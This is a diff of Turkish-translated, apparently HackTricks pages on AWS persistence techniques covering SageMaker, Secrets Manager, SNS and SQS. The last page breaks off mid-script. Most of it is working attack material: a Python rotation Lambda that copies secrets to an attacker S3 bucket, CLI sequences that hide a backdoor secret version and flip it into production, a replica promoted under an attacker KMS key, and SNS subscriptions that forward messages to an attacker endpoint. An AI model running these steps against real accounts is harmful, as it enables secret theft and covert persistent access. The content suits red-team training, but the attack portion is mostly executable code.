- Gerçek bir cross-account backdoor için, Resource'ı belirli group ARN ile sınırlandırın ve Principal içinde attacker’ın AWS hesap ID'sini kullanın.
|
||||
- Uçtan uca cross-account dağıtım veya artifact okuma durumlarında, S3/ECR/KMS izinlerini attacker account ile uyumlu hale getirin.
|
||||
|
||||
Impact
|
||||
- Bir Model Registry group üzerinde kalıcı cross-account kontrol: attacker, kötü amaçlı model sürümlerini yayınlayabilir veya model metadata'sını listeleyip/okuyabilir; bu, victim account'ta onların IAM varlıkları kaldırıldıktan sonra bile geçerlidir.
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
SageMaker Canvas kullanıcı ayarlarını kötüye kullanarak model registry yazımlarını sessizce attacker-controlled account'a yönlendirin: ModelRegisterSettings'i etkinleştirip CrossAccountModelRegisterRoleArn'i başka bir hesaptaki attacker role'a işaret edecek şekilde ayarlayın.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:UpdateUserProfile on the target UserProfile
|
||||
- Optional: sagemaker:CreateUserProfile on a Domain you control
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Secrets Manager Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak Politikaları Aracılığıyla
|
||||
|
||||
Kaynak politikaları aracılığıyla **gizli bilgilere dış hesaplara erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için, dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
|
||||
|
||||
### Secrets Rotate Lambda Aracılığıyla
|
||||
|
||||
Gizli bilgileri otomatik olarak **değiştirmek** için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodunu değiştirebilirse**, yeni gizli bilgiyi doğrudan **kendi hesabına sızdırabilir**.
|
||||
|
||||
Bu tür bir eylem için lambda kodu şöyle görünebilir:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+234
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak Politikaları Üzerinden
|
||||
|
||||
Kaynak politikaları aracılığıyla **harici hesaplara secret'lere erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) sayfasına bakın. Bir **secret**'e **erişmek** için, harici hesabın ayrıca **secret'i şifreleyen KMS anahtarına erişimi** olması gerektiğini unutmayın.
|
||||
|
||||
### Secrets Rotate Lambda Üzerinden
|
||||
|
||||
Secret'leri otomatik olarak **rotate** etmek için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodu değiştirebilirse**, doğrudan kendisine **exfiltrate the new secret** yapabilir.
|
||||
|
||||
Böyle bir eylem için lambda kodu şu şekilde görünebilir:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### RotateSecret ile rotation Lambda'sını saldırgan kontrollü bir fonksiyona değiştirin
|
||||
|
||||
`secretsmanager:RotateSecret`'ı, bir secret'ı saldırgan kontrollü bir rotation Lambda'sına yeniden bağlamak ve hemen bir rotation tetiklemek için kötüye kullanın. Kötü amaçlı fonksiyon rotation adımları (createSecret/setSecret/testSecret/finishSecret) sırasında secret sürümlerini (AWSCURRENT/AWSPENDING) attacker sink'e (ör. S3 veya external HTTP) exfiltrates eder.
|
||||
|
||||
- Gereksinimler
|
||||
- İzinler: `secretsmanager:RotateSecret`, attacker Lambda üzerinde `lambda:InvokeFunction`, Lambda execution rolünü sağlamak için `iam:CreateRole/PassRole/PutRolePolicy` (veya AttachRolePolicy) ile `secretsmanager:GetSecretValue` ve tercihen `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (böylece rotation çalışmaya devam eder) izinleri, secret KMS anahtarı için KMS `kms:Decrypt`, ve exfiltration için `s3:PutObject` (veya outbound egress).
|
||||
- Rotation etkin veya rotasyonu etkinleştirme yeteneğine sahip bir hedef secret id (`SecretId`).
|
||||
|
||||
- Etki
|
||||
- Attacker, meşru rotation kodunu değiştirmeden secret değeri(lerini) elde eder. Sadece rotation yapılandırması attacker Lambda'sını işaret edecek şekilde değiştirilir. Fark edilmezse, planlanmış gelecekteki rotation'lar da attacker'ın fonksiyonunu çağırmaya devam eder.
|
||||
|
||||
- Saldırı adımları (CLI)
|
||||
1) attacker sink ve Lambda rolünü hazırlayın
|
||||
- Exfiltration için S3 bucket oluşturun ve Lambda tarafından trust edilen, secret'i okuma ve S3'e yazma izinlerine sahip bir execution role oluşturun (gerektiğinde logs/KMS izinleri ekleyin).
|
||||
2) Her rotation adımında secret value(lerini) alıp S3'e yazan attacker Lambda'yı deploy edin. Minimal rotation mantığı sadece AWSCURRENT'i AWSPENDING'e kopyalayabilir ve servis sağlıklı kalması için finishSecret'te bunu promote edebilir.
|
||||
3) Rotation'ı yeniden bağlayın ve tetikleyin
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) O secret için S3 prefix'ini listeleyip JSON artefaktlarını inceleyerek exfiltration'ı doğrulayın.
|
||||
5) (İsteğe bağlı) Tespit riskini azaltmak için orijinal rotation Lambda'sını geri yükleyin.
|
||||
|
||||
- Örnek attacker Lambda (Python) S3'e exfiltrating
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abuse Secrets Manager version staging label’larını kullanarak attacker-controlled bir secret versiyonu yerleştirin ve production `AWSCURRENT` kullanmaya devam ederken bunu custom stage altında (örneğin, `ATTACKER`) gizli tutun. İstediğiniz anda `AWSCURRENT`'i attacker’s version'a taşıyarak bağımlı iş yüklerini zehirleyin, ardından tespiti azaltmak için geri döndürün. Bu, secret adını veya rotation config'i değiştirmeden stealthy backdoor persistence ve hızlı time-of-use manipülasyonu sağlar.
|
||||
|
||||
- Gereksinimler
|
||||
- İzinler: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (doğrulama için)
|
||||
- Hedef secret id, ilgili Bölge içinde.
|
||||
|
||||
- Etkisi
|
||||
- Bir secret'ın gizli, attacker-controlled bir versiyonunu koruyun ve talep üzerine atomik olarak `AWSCURRENT`'i ona çevirerek aynı secret adını çözen herhangi bir tüketiciyi etkileyin. Bu çevirme ve hızlı geri alma, tespit olasılığını azaltırken time-of-use compromise'a olanak tanır.
|
||||
|
||||
- Saldırı adımları (CLI)
|
||||
- Hazırlık
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>CLI komutları</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Notlar
|
||||
- `--client-request-token` sağladığınızda, Secrets Manager bunu `VersionId` olarak kullanır. `--version-stages` açıkça ayarlanmadan yeni bir sürüm eklemek, varsayılan olarak `AWSCURRENT`'i yeni sürüme taşır ve önceki sürümü `AWSPREVIOUS` olarak işaretler.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Secrets Manager multi-Region replikasyonunu suistimal ederek hedef bir secret'ın daha az izlenen bir Region'a replikasını oluşturun, o Region'da saldırgan kontrollü bir KMS anahtarıyla şifreleyin, sonra replikayı bağımsız bir secret olarak yükseltip saldırgana okuma erişimi veren bir permissive resource policy iliştirin. Birincil Region'daki orijinal secret değişmeden kalır; böylece yükseltilmiş replika üzerinden kalıcı, gizli erişim sağlanır ve ana secret'taki KMS/policy kısıtlamaları atlanmış olur.
|
||||
|
||||
- Gereksinimler
|
||||
- İzinler: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Replica Region'da: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (veya `kms:PutKeyPolicy`) — saldırgan principal'ın `kms:Decrypt` yapabilmesi için.
|
||||
- Yükseltilmiş secret'a okuma erişimi verilecek bir saldırgan principal (user/role).
|
||||
|
||||
- Etki
|
||||
- Saldırgan kontrollü bir KMS CMK ve permissive resource policy altında bağımsız bir replika üzerinden secret değerine kalıcı, cross-Region erişim yolu. Orijinal Region'daki birincil secret dokunulmamış kalır.
|
||||
|
||||
- Saldırı (CLI)
|
||||
- Değişkenler
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Saldırganın kontrolündeki KMS anahtarını çoğaltma bölgesinde oluşturun
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) attacker KMS key kullanarak secret'i R2'ye çoğalt
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) R2'de replikayı standalone hâline getir
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) R2'deki standalone secret'e permissive resource policy ekle
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) R2'deki attacker principal'dan secret'i oku
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Süreklilik
|
||||
|
||||
Bir **SNS konusu** oluştururken, **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
|
||||
Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna okuma ve yazma erişimi sağlar:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Abone Oluşturma
|
||||
|
||||
Tüm konulardan tüm mesajları dışa aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
|
||||
|
||||
**Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kalıcılık
|
||||
|
||||
Bir **SNS topic** oluştururken bir IAM policy ile **kimlerin okuma ve yazma erişimine sahip olduğunu** belirtmeniz gerekir. Harici hesapları, rollere ait ARN'leri veya **hatta "\*"** belirtmek mümkündür.\
|
||||
Aşağıdaki policy AWS'deki herkese **`MySNS.fifo`** adlı SNS topic üzerinde okuma ve yazma erişimi verir:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Aboneler Oluştur
|
||||
|
||||
Tüm topic'lerdeki tüm mesajları exfiltrating etmeye devam etmek için saldırgan tüm topic'ler için **aboneler oluşturabilir**.
|
||||
|
||||
Bir **topic FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### FilterPolicy ile MessageBody üzerinde gizli, seçici exfiltration
|
||||
|
||||
Bir saldırganın bir topic üzerinde `sns:Subscribe` ve `sns:SetSubscriptionAttributes` izinleri varsa, JSON gövdesi çok dar bir filtreyle eşleşen (ör. `{"secret":"true"}`) mesajları yalnızca ileten gizli bir SQS subscription oluşturabilir. Bu, hacmi ve tespiti azaltır; aynı zamanda hassas kayıtları exfiltrate eder.
|
||||
|
||||
**Olası Etki**: Hedef bir topic'ten yalnızca hedeflenmiş SNS mesajlarının gizli, düşük-gürültülü exfiltration'ı.
|
||||
|
||||
Adımlar (AWS CLI):
|
||||
- Saldırganın SQS queue policy'sinin victim `TopicArn` için `sqs:SendMessage` iznini verdiğinden emin olun (Condition `aws:SourceArn` equals the `TopicArn`).
|
||||
- Topic'e SQS subscription oluşturun:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Filtreyi message body üzerinde çalışacak ve yalnızca `secret=true` ile eşleşecek şekilde ayarlayın:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Opsiyonel gizlilik: yalnızca ham payload'un alıcıya gelmesi için raw delivery'yi etkinleştirin:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Doğrulama: iki mesaj yayınlayın ve yalnızca ilk mesajın saldırgan kuyruğuna teslim edildiğini doğrulayın. Örnek payload'lar:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Temizlik: persistence testi için oluşturulduysa unsubscribe yapın ve saldırgan SQS kuyruğunu silin.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak politikasını kullanma
|
||||
|
||||
SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
|
||||
Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğa erişimini sağlar:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Her yeni mesaj kuyruğa konulduğunda **saldırganın hesabındaki bir Lambda'yı tetikleyebilirsiniz** (bunu yeniden koymanız gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kaynak politikası kullanımı
|
||||
|
||||
SQS'de IAM policy ile **kimin okuma ve yazma erişimine sahip olduğunu** belirtmeniz gerekir. Dış hesapları, rollerin ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
|
||||
Aşağıdaki policy AWS içindeki herkese **MyTestQueue** adlı kuyruktaki her şeye erişim verir:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Her yeni mesaj kuyruğa konulduğunda **attacker's account içindeki bir Lambda'yı tetikleyebilirsiniz** (tekrar put etmeniz gerekecektir). Bunun için şu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Daha fazla SQS Persistence Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Saldırgan kontrolündeki bir kuyruğa RedrivePolicy'yi işaretleyerek, kurban kaynak kuyruğundan verileri gizlice çekmek için SQS Dead-Letter Queues (DLQs) kötüye kullanılabilir. Düşük bir maxReceiveCount ve normal işleme hatalarını tetikleyerek veya bunların oluşmasını bekleyerek, mesajlar üreticileri veya Lambda event source mappings'i değiştirmeden otomatik olarak saldırgan DLQ'sine yönlendirilir.
|
||||
|
||||
## Abused Permissions
|
||||
- sqs:SetQueueAttributes kurban kaynak kuyruğu üzerinde (RedrivePolicy ayarlamak için)
|
||||
- sqs:SetQueueAttributes saldırgan DLQ üzerinde (RedriveAllowPolicy ayarlamak için)
|
||||
- Hızlandırma için isteğe bağlı: sqs:ReceiveMessage kaynak kuyruk üzerinde
|
||||
- Kurulum için isteğe bağlı: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Same-Account Flow (allowAll)
|
||||
|
||||
Preparation (attacker account or compromised principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
